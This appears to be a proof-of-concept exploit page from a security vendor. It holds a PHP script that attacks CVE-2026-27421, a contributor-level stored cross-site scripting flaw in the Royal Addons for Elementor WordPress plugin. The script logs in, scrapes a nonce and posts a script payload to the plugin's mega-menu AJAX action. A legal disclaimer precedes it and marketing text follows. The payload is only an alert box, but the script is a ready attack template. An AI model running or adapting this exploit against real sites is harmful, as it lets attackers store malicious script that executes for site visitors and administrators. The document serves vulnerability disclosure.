// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27421 - Royal Addons for Elementor – Addons and Templates Kit for Elementor < 1.7.1053 - Authenticated (Contributor+) Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // Change this to your target WordPress URL
$username = 'contributor'; // Replace with contributor-level credentials
$password = 'password'; // Replace with the password

// Step 1: Login to get cookies and nonces
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get admin-ajax nonce from admin pages (use a page that calls the AJAX action)
// For this PoC, we will attempt a direct AJAX request; a real attacker would need a valid nonce.
// To simplify, we will try to use a predictable nonce or skip nonce verification if possible.
// In the patched version, nonce check is enforced. In vulnerable version, nonce check was present but weak.
// We will attempt to use the nonce 'wpr-mega-menu-js' which may be obtained from the admin page source.
// For demonstration, we attempt to get a valid nonce from the menu page.
$admin_page_url = $target_url . '/wp-admin/admin.php?page=wpr-mega-menu';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from the page (this is a pattern; adjust based on actual page)
preg_match('/nonce" value="([a-f0-9]+)"/i', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '12345678'; // Fallback if extraction fails

// Step 3: Send the AJAX request to trigger the vulnerability
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = '<script>alert("CVE-2026-27421 XSS Test");</script>';
$post_data = array(
    'action' => 'wpr_save_mega_menu_settings',
    'nonce' => $nonce,
    'item_id' => 1, // We need a valid menu item ID; this is a placeholder
    'item_settings' => array(
        'wpr_mm_badge_text' => $payload,
        'wpr_mm_enable' => 'true'
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Output result
echo 'Response: ' . $response . "n";
if (strpos($response, 'success') !== false) {
    echo '[+] Exploit successful: Malicious script stored in database.n';
} else {
    echo '[-] Exploit may have failed. Check the response.n';
}

// Clean up cookie file
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School